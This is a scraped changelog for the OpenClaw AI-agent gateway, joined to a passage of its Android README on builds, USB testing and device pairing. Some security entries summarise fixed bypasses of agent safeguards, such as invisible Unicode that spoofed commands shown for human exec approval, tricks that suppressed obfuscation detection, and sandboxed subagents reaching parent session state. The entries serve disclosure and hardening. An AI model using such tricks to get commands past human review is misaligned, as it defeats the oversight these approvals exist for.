<li>Models/OpenAI Codex Spark: keep <code>gpt-5.3-codex-spark</code> working on the <code>openai-codex/*</code> path via resolver fallbacks and clearer Codex-only handling, while continuing to suppress the stale direct <code>openai/*</code> Spark row that OpenAI rejects live.</li>
<li>Ollama/Kimi Cloud: apply the Moonshot Kimi payload compatibility wrapper to Ollama-hosted Kimi models like <code>kimi-k2.5:cloud</code>, so tool routing no longer breaks when thinking is enabled. (#41519) Thanks @vincentkoc.</li>
<li>Moonshot CN API: respect explicit <code>baseUrl</code> (api.moonshot.cn) in implicit provider resolution so platform.moonshot.cn API keys authenticate correctly instead of returning HTTP 401. (#33637) Thanks @chengzhichao-xydt.</li>
<li>Kimi Coding/provider config: respect explicit <code>models.providers["kimi-coding"].baseUrl</code> when resolving the implicit provider so custom Kimi Coding endpoints no longer get overwritten by the built-in default. (#36353) Thanks @2233admin.</li>
<li>Gateway/main-session routing: keep TUI and other <code>mode:UI</code> main-session sends on the internal surface when <code>deliver</code> is enabled, so replies no longer inherit the session's persisted Telegram/WhatsApp route. (#43918) Thanks @obviyus.</li>
<li>BlueBubbles/self-chat echo dedupe: drop reflected duplicate webhook copies only when a matching <code>fromMe</code> event was just seen for the same chat, body, and timestamp, preventing self-chat loops without broad webhook suppression. Related to #32166. (#38442) Thanks @vincentkoc.</li>
<li>iMessage/self-chat echo dedupe: drop reflected duplicate copies only when a matching <code>is_from_me</code> event was just seen for the same chat, text, and <code>created_at</code>, preventing self-chat loops without broad text-only suppression. Related to #32166. (#38440) Thanks @vincentkoc.</li>
<li>Subagents/completion announce retries: raise the default announce timeout to 90 seconds and stop retrying gateway-timeout failures for externally delivered completion announces, preventing duplicate user-facing completion messages after slow gateway responses. Fixes #41235. Thanks @vasujain00 and @vincentkoc.</li>
<li>Mattermost/block streaming: fix duplicate message delivery (one threaded, one top-level) when block streaming is active by excluding <code>replyToId</code> from the block reply dedup key and adding an explicit <code>threading</code> dock to the Mattermost plugin. (#41362) Thanks @mathiasnagler and @vincentkoc.</li>
<li>Mattermost/reply media delivery: pass agent-scoped <code>mediaLocalRoots</code> through shared reply delivery so allowed local files upload correctly from button, slash-command, and model-picker replies. (#44021) Thanks @LyleLiu666.</li>
<li>macOS/Reminders: add the missing <code>NSRemindersUsageDescription</code> to the bundled app so <code>apple-reminders</code> can trigger the system permission prompt from OpenClaw.app. (#8559) Thanks @dinakars777.</li>
<li>Gateway/session discovery: discover disk-only and retired ACP session stores under custom templated <code>session.store</code> roots so ACP reconciliation, session-id/session-label targeting, and run-id fallback keep working after restart. (#44176) thanks @gumadeiras.</li>
<li>Plugins/env-scoped roots: fix plugin discovery/load caches and provenance tracking so same-process <code>HOME</code>/<code>OPENCLAW_HOME</code> changes no longer reuse stale plugin state or misreport <code>~/...</code> plugins as untracked. (#44046) thanks @gumadeiras.</li>
<li>Models/OpenRouter native ids: canonicalize native OpenRouter model keys across config writes, runtime lookups, fallback management, and <code>models list --plain</code>, and migrate legacy duplicated <code>openrouter/openrouter/...</code> config entries forward on write.</li>
<li>Windows/native update: make package installs use the npm update path instead of the git path, carry portable Git into native Windows updates, and mirror the installer's Windows npm env so <code>openclaw update</code> no longer dies early on missing <code>git</code> or <code>node-llama-cpp</code> download setup.</li>
<li>Sandbox/write: preserve pinned mutation-helper payload stdin so sandboxed <code>write</code> no longer reports success while creating empty files. (#43876) Thanks @glitch418x.</li>
<li>Security/exec approvals: escape invisible Unicode format characters in approval prompts so zero-width command text renders as visible <code>\u{...}</code> escapes instead of spoofing the reviewed command. (<code>GHSA-pcqg-f7rg-xfvv</code>)(#43687) Thanks @EkiXu and @vincentkoc.</li>
<li>Hooks/loader: fail closed when workspace hook paths cannot be resolved with <code>realpath</code>, so unreadable or broken internal hook paths are skipped instead of falling back to unresolved imports. (#44437) Thanks @vincentkoc.</li>
<li>Hooks/agent deliveries: dedupe repeated hook requests by optional idempotency key so webhook retries can reuse the first run instead of launching duplicate agent executions. (#44438) Thanks @vincentkoc.</li>
<li>Security/exec detection: normalize compatibility Unicode and strip invisible formatting code points before obfuscation checks so zero-width and fullwidth command tricks no longer suppress heuristic detection. (<code>GHSA-9r3v-37xh-2cf6</code>)(#44091) Thanks @wooluo and @vincentkoc.</li>
<li>Security/exec allowlist: preserve POSIX case sensitivity and keep <code>?</code> within a single path segment so exact-looking allowlist patterns no longer overmatch executables across case or directory boundaries. (<code>GHSA-f8r2-vg7x-gh8m</code>)(#43798) Thanks @zpbrent and @vincentkoc.</li>
<li>Security/commands: require sender ownership for <code>/config</code> and <code>/debug</code> so authorized non-owner senders can no longer reach owner-only config and runtime debug surfaces. (<code>GHSA-r7vr-gr74-94p8</code>)(#44305) Thanks @tdjackey and @vincentkoc.</li>
<li>Security/gateway auth: clear unbound client-declared scopes on shared-token WebSocket connects so device-less shared-token operators cannot self-declare elevated scopes. (<code>GHSA-rqpp-rjj8-7wv8</code>)(#44306) Thanks @LUOYEcode and @vincentkoc.</li>
<li>Security/browser.request: block persistent browser profile create/delete routes from write-scoped <code>browser.request</code> so callers can no longer persist admin-only browser profile changes through the browser control surface. (<code>GHSA-vmhq-cqm9-6p7q</code>)(#43800) Thanks @tdjackey and @vincentkoc.</li>
<li>Security/agent: reject public spawned-run lineage fields and keep workspace inheritance on the internal spawned-session path so external <code>agent</code> callers can no longer override the gateway workspace boundary. (<code>GHSA-2rqg-gjgv-84jm</code>)(#43801) Thanks @tdjackey and @vincentkoc.</li>
<li>Security/session_status: enforce sandbox session-tree visibility and shared agent-to-agent access guards before reading or mutating target session state, so sandboxed subagents can no longer inspect parent session metadata or write parent model overrides via <code>session_status</code>. (<code>GHSA-wcxr-59v9-rxr8</code>)(#43754) Thanks @tdjackey and @vincentkoc.</li>
<li>Security/agent tools: mark <code>nodes</code> as explicitly owner-only and document/test that <code>canvas</code> remains a shared trusted-operator surface unless a real boundary bypass exists.</li>
<li>Security/exec approvals: fail closed for Ruby approval flows that use <code>-r</code>, <code>--require</code>, or <code>-I</code> so approval-backed commands no longer bind only the main script while extra local code-loading flags remain outside the reviewed file snapshot.</li>
<li>Security/device pairing: cap issued and verified device-token scopes to each paired device's approved scope baseline so stale or overbroad tokens cannot exceed approved access. (<code>GHSA-2pwv-x786-56f8</code>)(#43686) Thanks @tdjackey and @vincentkoc.</li>
<li>Docs/onboarding: align the legacy wizard reference and <code>openclaw onboard</code> command docs with the Ollama onboarding flow so all onboarding reference paths now document <code>--auth-choice ollama</code>, Cloud + Local mode, and non-interactive usage. (#43473) Thanks @BruceMacD.</li>
<li>Models/secrets: enforce source-managed SecretRef markers in generated <code>models.json</code> so runtime-resolved provider secrets are not persisted when runtime projection is skipped. (#43759) Thanks @joshavant.</li>
<li>Security/WebSocket preauth: shorten unauthenticated handshake retention and reject oversized pre-auth frames before application-layer parsing to reduce pre-pairing exposure on unsupported public deployments. (<code>GHSA-jv4g-m82p-2j93</code>)(#44089) (<code>GHSA-xwx2-ppv2-wx98</code>)(#44089) Thanks @ez-lbz and @vincentkoc.</li>
<li>Security/proxy attachments: restore the shared media-store size cap for persisted browser proxy files so oversized payloads are rejected instead of overriding the intended 5 MB limit. (<code>GHSA-6rph-mmhp-h7h9</code>)(#43684) Thanks @tdjackey and @vincentkoc.</li>
<li>Security/host env: block inherited <code>GIT_EXEC_PATH</code> from sanitized host exec environments so Git helper resolution cannot be steered by host environment state. (<code>GHSA-jf5v-pqgw-gm5m</code>)(#43685) Thanks @zpbrent and @vincentkoc.</li>
<li>Security/Feishu webhook: require <code>encryptKey</code> alongside <code>verificationToken</code> in webhook mode so unsigned forged events are rejected instead of being processed with token-only configuration. (<code>GHSA-g353-mgv3-8pcj</code>)(#44087) Thanks @lintsinghua and @vincentkoc.</li>
<li>Security/Feishu reactions: preserve looked-up group chat typing and fail closed on ambiguous reaction context so group authorization and mention gating cannot be bypassed through synthetic <code>p2p</code> reactions. (<code>GHSA-m69h-jm2f-2pv8</code>)(#44088) Thanks @zpbrent and @vincentkoc.</li>
<li>Security/LINE webhook: require signatures for empty-event POST probes too so unsigned requests no longer confirm webhook reachability with a <code>200</code> response. (<code>GHSA-mhxh-9pjm-w7q5</code>)(#44090) Thanks @TerminalsandCoffee and @vincentkoc.</li>
<li>Security/Zalo webhook: rate limit invalid secret guesses before auth so weak webhook secrets cannot be brute-forced through unauthenticated churned requests without pre-auth <code>429</code> responses. (<code>GHSA-5m9r-p9g7-679c</code>)(#44173) Thanks @zpbrent and @vincentkoc.</li>
<li>Security/Zalouser groups: require stable group IDs for allowlist auth by default and gate mutable group-name matching behind <code>channels.zalouser.dangerouslyAllowNameMatching</code>. Thanks @zpbrent.</li>
<li>Security/Slack and Teams routing: require stable channel and team IDs for allowlist routing by default, with mutable name matching only via each channel's <code>dangerouslyAllowNameMatching</code> break-glass flag.</li>
<li>Security/exec approvals: fail closed for ambiguous inline loader and shell-payload script execution, bind the real script after POSIX shell value-taking flags, and unwrap <code>pnpm</code>/<code>npm exec</code>/<code>npx</code> script runners before approval binding. (<code>GHSA-57jw-9722-6rf2</code>)(<code>GHSA-jvqh-rfmh-jh27</code>)(<code>GHSA-x7pp-23xv-mmr4</code>)(<code>GHSA-jc5j-vg4r-j5jx</code>)(#44247) Thanks @tdjackey and @vincentkoc.</li>
<li>Doctor/gateway service audit: canonicalize service entrypoint paths before comparing them so symlink-vs-realpath installs no longer trigger false "entrypoint does not match the current install" repair prompts. (#43882) Thanks @ngutman.</li>
<li>Doctor/gateway service audit: earlier groundwork for this fix landed in the superseded #28338 branch. Thanks @realriphub.</li>
<li>Gateway/session stores: regenerate the Swift push-test protocol models and align Windows native session-store realpath handling so protocol checks and sync session discovery stop drifting on Windows. (#44266) thanks @jalehman.</li>
<li>Context engine/session routing: forward optional <code>sessionKey</code> through context-engine lifecycle calls so plugins can see structured routing metadata during bootstrap, assembly, post-turn ingestion, and compaction. (#44157) thanks @jalehman.</li>
<li>Agents/failover: classify z.ai <code>network_error</code> stop reasons as retryable timeouts so provider connectivity failures trigger fallback instead of surfacing raw unhandled-stop-reason errors. (#43884) Thanks @hougangdev.</li>
<li>Memory/session sync: add mode-aware post-compaction session reindexing with <code>agents.defaults.compaction.postIndexSync</code> plus <code>agents.defaults.memorySearch.sync.sessions.postCompactionForce</code>, so compacted session memory can refresh immediately without forcing every deployment into synchronous reindexing. (#25561) thanks @rodrigouroz.</li>
<li>Telegram/model picker: make inline model button selections persist the chosen session model correctly, clear overrides when selecting the configured default, and include effective fallback models in <code>/models</code> button validation. (#40105) Thanks @avirweb.</li>
<li>Telegram/native command sync: suppress expected <code>BOT_COMMANDS_TOO_MUCH</code> retry error noise, add a final fallback summary log, and document the difference between command-menu overflow and real Telegram network failures.</li>
<li>Mattermost/reply media delivery: pass agent-scoped <code>mediaLocalRoots</code> through shared reply delivery so allowed local files upload correctly from button, slash-command, and model-picker replies. (#44021) Thanks @LyleLiu666.</li>
<li>Plugins/env-scoped roots: fix plugin discovery/load caches and provenance tracking so same-process <code>HOME</code>/<code>OPENCLAW_HOME</code> changes no longer reuse stale plugin state or misreport <code>~/...</code> plugins as untracked. (#44046) thanks @gumadeiras.</li>
<li>Gateway/session discovery: discover disk-only and retired ACP session stores under custom templated <code>session.store</code> roots so ACP reconciliation, session-id/session-label targeting, and run-id fallback keep working after restart. (#44176) thanks @gumadeiras.</li>
<li>Models/OpenRouter native ids: canonicalize native OpenRouter model keys across config writes, runtime lookups, fallback management, and <code>models list --plain</code>, and migrate legacy duplicated <code>openrouter/openrouter/...</code> config entries forward on write.</li>
<li>Gateway/hooks: bucket hook auth failures by forwarded client IP behind trusted proxies and warn when <code>hooks.allowedAgentIds</code> leaves hook routing unrestricted.</li>
<li>Agents/compaction: skip the post-compaction <code>cache-ttl</code> marker write when a compaction completed in the same attempt, preventing the next turn from immediately triggering a second tiny compaction. (#28548) thanks @MoerAI.</li>
<li>Native chat/macOS: add <code>/new</code>, <code>/reset</code>, and <code>/clear</code> reset triggers, keep shared main-session aliases aligned, and ignore stale model-selection completions so native chat state stays in sync across reset and fast model changes. (#10898) Thanks @Nachx639.</li>
<li>Agents/compaction safeguard: route missing-model and missing-API-key cancellation warnings through the shared subsystem logger so they land in structured and file logs. (#9974) Thanks @dinakars777.</li>
<li>Cron/doctor: stop flagging canonical <code>agentTurn</code> and <code>systemEvent</code> payload kinds as legacy cron storage, while still normalizing whitespace-padded and non-canonical variants. (#44012) Thanks @shuicici.</li>
<li>ACP/client final-message delivery: preserve terminal assistant text snapshots before resolving <code>end_turn</code>, so ACP clients no longer drop the last visible reply when the gateway sends the final message body on the terminal chat event. (#17615) Thanks @pjeby.</li>
<li>Telegram/Discord status reactions: show a temporary compacting reaction during auto-compaction pauses and restore thinking afterward so the bot no longer appears frozen while context is being compacted. (#35474) thanks @Cypherm.</li>
</ul>
<p><a href="https://github.com/openclaw/openclaw/blob/main/CHANGELOG.md">View full changelog</a></p>
<li>Web UI: refine chat layout + extend session active duration.</li>
<li>CI: add formal conformance + alias consistency checks. (#5723, #5807)</li>
<li>CLI/backup: add <code>openclaw backup create</code> and <code>openclaw backup verify</code> for local state archives, including <code>--only-config</code>, <code>--no-include-workspace</code>, manifest/payload validation, and backup guidance in destructive flows. (#40163) thanks @shichangs.</li>
<li>macOS/onboarding: add a remote gateway token field for remote mode, preserve existing non-plaintext <code>gateway.remote.token</code> config values until explicitly replaced, and warn when the loaded token shape cannot be used directly from the macOS app. (#40187, supersedes #34614) Thanks @cgdusek.</li>
<li>Talk mode: add top-level <code>talk.silenceTimeoutMs</code> config so Talk waits a configurable amount of silence before auto-sending the current transcript, while keeping each platform's existing default pause window when unset. (#39607) Thanks @danodoesdesign. Fixes #17147.</li>
<li>TUI: infer the active agent from the current workspace when launched inside a configured agent workspace, while preserving explicit <code>agent:</code> session targets. (#39591) thanks @arceus77-7.</li>
<li>Tools/Brave web search: add opt-in <code>tools.web.search.brave.mode: "llm-context"</code> so <code>web_search</code> can call Brave's LLM Context endpoint and return extracted grounding snippets with source metadata, plus config/docs/test coverage. (#33383) Thanks @thirumaleshp.</li>
<li>CLI/install: include the short git commit hash in <code>openclaw --version</code> output when metadata is available, and keep installer version checks compatible with the decorated format. (#39712) thanks @sourman.</li>
<li>CLI/backup: improve archive naming for date sorting, add config-only backup mode, and harden backup planning, publication, and verification edge cases. (#40163) Thanks @gumadeiras.</li>
<li>ACP/Provenance: add optional ACP ingress provenance metadata and visible receipt injection (<code>openclaw acp --provenance off|meta|meta+receipt</code>) so OpenClaw agents can retain and report ACP-origin context with session trace IDs. (#40473) thanks @mbelinky.</li>
<li>Tools/web search: alphabetize provider ordering across runtime selection, onboarding/configure pickers, and config metadata, so provider lists stay neutral and multi-key auto-detect now prefers Grok before Kimi. (#40259) thanks @kesku.</li>
<li>Docs/Web search: restore $5/month free-credit details, replace defunct "Data for Search"/"Data for AI" plan names with current "Search" plan, and note legacy subscription validity in Brave setup docs. Follows up on #26860. (#40111) Thanks @remusao.</li>
<li>Extensions/ACPX tests: move the shared runtime fixture helper from <code>src/runtime-internals/</code> to <code>src/test-utils/</code> so the test-only helper no longer looks like shipped runtime code.</li>
</ul>
<h3>Fixes</h3>
<ul>
<li>Plugins: validate plugin/hook install paths and reject traversal-like names.</li>
<li>Telegram: add download timeouts for file fetches. (#6914) Thanks @hclsys.</li>
<li>Telegram: enforce thread specs for DM vs forum sends. (#6833) Thanks @obviyus.</li>
<li>Streaming: flush block streaming on paragraph boundaries for newline chunking. (#7014)</li>
<li>Streaming: stabilize partial streaming filters.</li>
<li>Tools: treat <code>"*"</code> tool allowlist entries as valid to avoid spurious unknown-entry warnings.</li>
<li>Skills: update session-logs paths from .clawdbot to .openclaw. (#4502)</li>
<li>Slack: harden media fetch limits and Slack file URL validation. (#6639) Thanks @davidiach.</li>
<li>Lint: satisfy curly rule after import sorting. (#6310)</li>
<li>Process: resolve Windows <code>spawn()</code> failures for npm-family CLIs by appending <code>.cmd</code> when needed. (#5815) Thanks @thejhinvirtuoso.</li>
<li>Discord: resolve PluralKit proxied senders for allowlists and labels. (#5838) Thanks @thewilloftheshadow.</li>
<li>Tlon: add timeout to SSE client fetch calls (CWE-400). (#5926)</li>
<li>Memory search: L2-normalize local embedding vectors to fix semantic search. (#5332)</li>
<li>Agents: align embedded runner + typings with pi-coding-agent API updates (pi 0.51.0).</li>
<li>Agents: ensure OpenRouter attribution headers apply in the embedded runner.</li>
<li>Agents: cap context window resolution for compaction safeguard. (#6187) Thanks @iamEvanYT.</li>
<li>System prompt: resolve overrides and hint using session_status for current date/time. (#1897, #1928, #2108, #3677)</li>
<li>Agents: fix Pi prompt template argument syntax. (#6543)</li>
<li>macOS app/chat UI: route browser proxy through the local node browser service, preserve plain-text paste semantics, strip completed assistant trace/debug wrapper noise from transcripts, refresh permission state after returning from System Settings, and tolerate malformed cron rows in the macOS tab. (#39516) Thanks @Imhermes1.</li>
<li>Android/Play distribution: remove self-update, background location, <code>screen.record</code>, and background mic capture from the Android app, narrow the foreground service to <code>dataSync</code> only, and clean up the legacy <code>location.enabledMode=always</code> preference migration. (#39660) Thanks @obviyus.</li>
<li>Telegram/DM routing: dedupe inbound Telegram DMs per agent instead of per session key so the same DM cannot trigger duplicate replies when both <code>agent:main:main</code> and <code>agent:main:telegram:direct:<id></code> resolve for one agent. Fixes #40005. Supersedes #40116. (#40519) thanks @obviyus.</li>
<li>Cron/Telegram announce delivery: route text-only announce jobs through the real outbound adapters after finalizing descendant output so plain Telegram targets no longer report <code>delivered: true</code> when no message actually reached Telegram. (#40575) thanks @obviyus.</li>
<li>Matrix/DM routing: add safer fallback detection for broken <code>m.direct</code> homeservers, honor explicit room bindings over DM classification, and preserve room-bound agent selection for Matrix DM rooms. (#19736) Thanks @derbronko.</li>
<li>Feishu/plugin onboarding: clear the short-lived plugin discovery cache before reloading the registry after installing a channel plugin, so onboarding no longer re-prompts to download Feishu immediately after a successful install. Fixes #39642. (#39752) Thanks @GazeKingNuWu.</li>
<li>Plugins/channel onboarding: prefer bundled channel plugins over duplicate npm-installed copies during onboarding and release-channel sync, preventing bundled plugins from being shadowed by npm installs with the same plugin ID. (#40092)</li>
<li>Config/runtime snapshots: keep secrets-runtime-resolved config and auth-profile snapshots intact after config writes so follow-up reads still see file-backed secret values while picking up the persisted config update. (#37313) thanks @bbblending.</li>
<li>Gateway/Control UI: resolve bundled dashboard assets through symlinked global wrappers and auto-detected package roots, while keeping configured and custom roots on the strict hardlink boundary. (#40385) Thanks @LarytheLord.</li>
<li>Browser/extension relay: add <code>browser.relayBindHost</code> so the Chrome relay can bind to an explicit non-loopback address for WSL2 and other cross-namespace setups, while preserving loopback-only defaults. (#39364) Thanks @mvanhorn.</li>
<li>Browser/CDP: normalize loopback direct WebSocket CDP URLs back to HTTP(S) for <code>/json/*</code> tab operations so local <code>ws://</code> / <code>wss://</code> profiles can still list, focus, open, and close tabs after the new direct-WS support lands. (#31085) Thanks @shrey150.</li>
<li>Browser/CDP: rewrite wildcard <code>ws://0.0.0.0</code> and <code>ws://[::]</code> debugger URLs from remote <code>/json/version</code> responses back to the external CDP host/port, fixing Browserless-style container endpoints. (#17760) Thanks @joeharouni.</li>
<li>Browser/extension relay: wait briefly for a previously attached Chrome tab to reappear after transient relay drops before failing with <code>tab not found</code>, reducing noisy reconnect flakes. (#32461) Thanks @AaronWander.</li>
<li>macOS/Tailscale gateway discovery: keep Tailscale Serve probing alive when other remote gateways are already discovered, prefer direct transport for resolved <code>.ts.net</code> and Tailscale Serve gateways, and set <code>TERM=dumb</code> for GUI-launched Tailscale CLI discovery. (#40167) thanks @ngutman.</li>
<li>TUI/theme: detect light terminal backgrounds via <code>COLORFGBG</code> and pick a WCAG AA-compliant light palette, with <code>OPENCLAW_THEME=light|dark</code> override for terminals without auto-detection. (#38636) Thanks @ademczuk and @vincentkoc.</li>
<li>Agents/openai-codex: normalize <code>gpt-5.4</code> fallback transport back to <code>openai-codex-responses</code> on <code>chatgpt.com/backend-api</code> when config drifts to the generic OpenAI responses endpoint. (#38736) Thanks @0xsline.</li>
<li>Models/openai-codex GPT-5.4 forward-compat: use the GPT-5.4 1,050,000-token context window and 128,000 max tokens for <code>openai-codex/gpt-5.4</code> instead of inheriting stale legacy Codex limits in resolver fallbacks and model listing. (#37876) thanks @yuweuii.</li>
<li>Tools/web search: restore Perplexity OpenRouter/Sonar compatibility for legacy <code>OPENROUTER_API_KEY</code>, <code>sk-or-...</code>, and explicit <code>perplexity.baseUrl</code> / <code>model</code> setups while keeping direct Perplexity keys on the native Search API path. (#39937) Thanks @obviyus.</li>
<li>Agents/failover: detect Amazon Bedrock <code>Too many tokens per day</code> quota errors as rate limits across fallback, cron retry, and memory embeddings while keeping context-window <code>too many tokens per request</code> errors out of the rate-limit lane. (#39377) Thanks @gambletan.</li>
<li>Mattermost replies: keep <code>root_id</code> pinned to the existing thread root when an agent replies inside a thread, while still using reply-target threading for top-level posts. (#27744) thanks @hnykda.</li>
<li>Telegram/DM partial streaming: keep DM preview lanes on real message edits instead of native draft materialization so final replies no longer flash a second duplicate copy before collapsing back to one.</li>
<li>macOS overlays: fix VoiceWake, Talk, and Notify overlay exclusivity crashes by removing shared <code>inout</code> visibility mutation from <code>OverlayPanelFactory.present</code>, and add a repeated Talk overlay smoke test. (#39275, #39321) Thanks @fellanH.</li>
<li>macOS Talk Mode: set the speech recognition request <code>taskHint</code> to <code>.dictation</code> for mic capture, and add regression coverage for the request defaults. (#38445) Thanks @dmiv.</li>
<li>macOS release packaging: default <code>scripts/package-mac-app.sh</code> to universal binaries for <code>BUILD_CONFIG=release</code>, and clarify that <code>scripts/package-mac-dist.sh</code> already produces the release zip + DMG. (#33891) Thanks @cgdusek.</li>
<li>Hooks/session-memory: keep <code>/new</code> and <code>/reset</code> memory artifacts in the bound agent workspace and align saved reset session keys with that workspace when stale main-agent keys leak into the hook path. (#39875) thanks @rbutera.</li>
<li>Sessions/model switch: clear stale cached <code>contextTokens</code> when a session changes models so status and runtime paths recompute against the active model window. (#38044) thanks @yuweuii.</li>
<li>ACP/session history: persist transcripts for successful ACP child runs, preserve exact transcript text, record ACP spawned-session lineage, and keep spawn-time transcript-path persistence best-effort so history storage failures do not block execution. (#40137) thanks @mbelinky.</li>
<li>Docs/browser: add a layered WSL2 + Windows remote Chrome CDP troubleshooting guide, including Control UI origin pitfalls and extension-relay bind-address guidance. (#39407) Thanks @Owlock.</li>
<li>Context engine registry/bundled builds: share the registry state through a <code>globalThis</code> singleton so duplicated bundled module copies can resolve engines registered by each other at runtime, with regression coverage for duplicate-module imports. (#40115) thanks @jalehman.</li>
<li>Podman/setup: fix <code>cannot chdir: Permission denied</code> in <code>run_as_user</code> when <code>setup-podman.sh</code> is invoked from a directory the target user cannot access, by wrapping user-switch calls in a subshell that cd's to <code>/tmp</code> with <code>/</code> fallback. (#39435) Thanks @langdon and @jlcbk.</li>
<li>Podman/SELinux: auto-detect SELinux enforcing/permissive mode and add <code>:Z</code> relabel to bind mounts in <code>run-openclaw-podman.sh</code> and the Quadlet template, fixing <code>EACCES</code> on Fedora/RHEL hosts. Supports <code>OPENCLAW_BIND_MOUNT_OPTIONS</code> override. (#39449) Thanks @langdon and @githubbzxs.</li>
<li>Agents/context-engine plugins: bootstrap runtime plugins once at embedded-run, compaction, and subagent boundaries so plugin-provided context engines and hooks load from the active workspace before runtime resolution. (#40232)</li>
<li>Docs/Changelog: correct the contributor credit for the bundled Control UI global-install fix to @LarytheLord. (#40420) Thanks @velvet-shark.</li>
<li>Telegram/media downloads: time out only stalled body reads so polling recovers from hung file downloads without aborting slow downloads that are still streaming data. (#40098) thanks @tysoncung.</li>
<li>Docker/runtime image: prune dev dependencies, strip build-only dist metadata for smaller Docker images. (#40307) Thanks @vincentkoc.</li>
<li>Gateway/restart timeout recovery: exit non-zero when restart-triggered shutdown drains time out so launchd/systemd restart the gateway instead of treating the failed restart as a clean stop. Landed from contributor PR #40380 by @dsantoreis. Thanks @dsantoreis.</li>
<li>Gateway/config restart guard: validate config before service start/restart and keep post-SIGUSR1 startup failures from crashing the gateway process, reducing invalid-config restart loops and macOS permission loss. Landed from contributor PR #38699 by @lml2468. Thanks @lml2468.</li>
<li>Gateway/launchd respawn detection: treat <code>XPC_SERVICE_NAME</code> as a launchd supervision hint so macOS restarts exit cleanly under launchd instead of attempting detached self-respawn. Landed from contributor PR #20555 by @dimat. Thanks @dimat.</li>
<li>Telegram/poll restart cleanup: abort the in-flight Telegram API fetch when shutdown or forced polling restarts stop a runner, preventing stale <code>getUpdates</code> long polls from colliding with the replacement runner. Landed from contributor PR #23950 by @Gkinthecodeland. Thanks @Gkinthecodeland.</li>
<li>Cron/restart catch-up staggering: limit immediate missed-job replay on startup and reschedule the deferred remainder from the post-catchup clock so restart bursts do not starve the gateway or silently skip overdue recurring jobs. Landed from contributor PR #18925 by @rexlunae. Thanks @rexlunae.</li>
<li>Cron/owner-only tools: pass trusted isolated cron runs into the embedded agent with owner context so <code>cron</code>/<code>gateway</code> tooling remains available after the owner-auth hardening narrowed direct-message ownership inference.</li>
<li>Browser/SSRF: block private-network intermediate redirect hops in strict browser navigation flows and fail closed when remote tab-open paths cannot inspect redirect chains. Thanks @zpbrent.</li>
<li>MS Teams/authz: keep <code>groupPolicy: "allowlist"</code> enforcing sender allowlists even when a team/channel route allowlist is configured, so route matches no longer widen group access to every sender in that route. Thanks @zpbrent.</li>
<li>Security/system.run: bind approved <code>bun</code> and <code>deno run</code> script operands to on-disk file snapshots so post-approval script rewrites are denied before execution.</li>
<li>Skills/download installs: pin the validated per-skill tools root before writing downloaded archives, so rebinding the lexical tools path cannot redirect download writes outside the intended tools directory. Thanks @tdjackey.</li>
</ul>
<p><a href="https://github.com/openclaw/openclaw/blob/main/CHANGELOG.md">View full changelog</a></p>
`bun run android:bundle:release` auto-bumps Android `versionName`/`versionCode` in `apps/android/app/build.gradle.kts`, then builds a signed release `.aab`.
Deterministic startup measurement + hotspot extraction with compact CLI output:
```bash
cd apps/android
./scripts/perf-startup-benchmark.sh
./scripts/perf-startup-hotspots.sh
```
Benchmark script behavior:
- Runs only `StartupMacrobenchmark#coldStartup` (10 iterations).
- Prints median/min/max/COV in one line.
- Writes timestamped snapshot JSON to `apps/android/benchmark/results/`.
- Auto-compares with previous local snapshot (or pass explicit baseline: `--baseline <old-benchmarkData.json>`).
Hotspot script behavior:
- Ensures debug app installed, captures startup `simpleperf` data for `.MainActivity`.
- Prints top DSOs, top symbols, and key app-path clues (Compose/MainActivity/WebView).
- Writes raw `perf.data` path for deeper follow-up if needed.
## Run on a Real Android Phone (USB)
1) On phone, enable **Developer options** + **USB debugging**.
2) Connect by USB and accept the debugging trust prompt on phone.
3) Verify ADB can see the device:
```bash
adb devices -l
```
4) Install + launch debug build:
```bash
pnpm android:install
pnpm android:run
```
If `adb devices -l` shows `unauthorized`, re-plug and accept the trust prompt again.
### USB-only gateway testing (no LAN dependency)
Use `adb reverse` so Android `localhost:18789` tunnels to your laptop `localhost:18789`.
Terminal A (gateway):
```bash
pnpm openclaw gateway --port 18789 --verbose
```
Terminal B (USB tunnel):
```bash
adb reverse tcp:18789 tcp:18789
```
Then in app **Connect → Manual**:
- Host: `127.0.0.1`
- Port: `18789`
- TLS: off
## Hot Reload / Fast Iteration
This app is native Kotlin + Jetpack Compose.
- For Compose UI edits: use Android Studio **Live Edit** on a debug build (works on physical devices; project `minSdk=31` already meets API requirement).
- For many non-structural code/resource changes: use Android Studio **Apply Changes**.
- For structural/native/manifest/Gradle changes: do full reinstall (`pnpm android:run`).
- Canvas web content already supports live reload when loaded from Gateway `__openclaw__/canvas/` (see `docs/platforms/android.md`).
## Connect / Pair
1) Start the gateway (on your “master” machine):
1) Start the gateway (on your main machine):
```bash
pnpm openclaw gateway --port 18789 --verbose
```
2) In the Android app:
- Open **Settings**
-Either select a discovered gateway under **Discovered Gateways**, or use **Advanced → Manual Gateway** (host + port).
-Open the **Connect** tab.
- Use **Setup Code** or **Manual** mode to connect.
3) Approve pairing (on the gateway machine):
```bash
openclaw nodes pending
openclaw nodes approve <requestId>
openclaw devices list
openclaw devices approve <requestId>
```
More details: `docs/platforms/android.md`.
@@ -49,3 +175,58 @@ More details: `docs/platforms/android.md`.
- Camera:
-`CAMERA` for `camera.snap` and `camera.clip`
-`RECORD_AUDIO` for `camera.clip` when `includeAudio=true`
## Integration Capability Test (Preconditioned)
This suite assumes setup is already done manually. It does **not** install/run/pair automatically.
Pre-req checklist:
1) Gateway is running and reachable from the Android app.
2) Android app is connected to that gateway and `openclaw nodes status` shows it as paired + connected.
3) App stays unlocked and in foreground for the whole run.
4) Open the app **Screen** tab and keep it active during the run (canvas/A2UI commands require the canvas WebView attached there).
5) Grant runtime permissions for capabilities you expect to pass (camera/mic/location/notification listener/location, etc.).
6) No interactive system dialogs should be pending before test start.
7) Canvas host is enabled and reachable from the device (do not run gateway with `OPENCLAW_SKIP_CANVAS_HOST=1`; startup logs should include `canvas host mounted at .../__openclaw__/`).
8) Local operator test client pairing is approved. If first run fails with `pairing required`, approve latest pending device pairing request, then rerun:
9) For A2UI checks, keep the app on **Screen** tab; the node now auto-refreshes canvas capability once on first A2UI reachability failure (TTL-safe retry).
```bash
openclaw devices list
openclaw devices approve --latest
```
Run:
```bash
pnpm android:test:integration
```
Optional overrides:
-`OPENCLAW_ANDROID_GATEWAY_URL=ws://...` (default: from your local OpenClaw config)
-`OPENCLAW_ANDROID_GATEWAY_TOKEN=...`
-`OPENCLAW_ANDROID_GATEWAY_PASSWORD=...`
-`OPENCLAW_ANDROID_NODE_ID=...` or `OPENCLAW_ANDROID_NODE_NAME=...`
What it does:
- Reads `node.describe` command list from the selected Android node.
- Invokes advertised non-interactive commands.
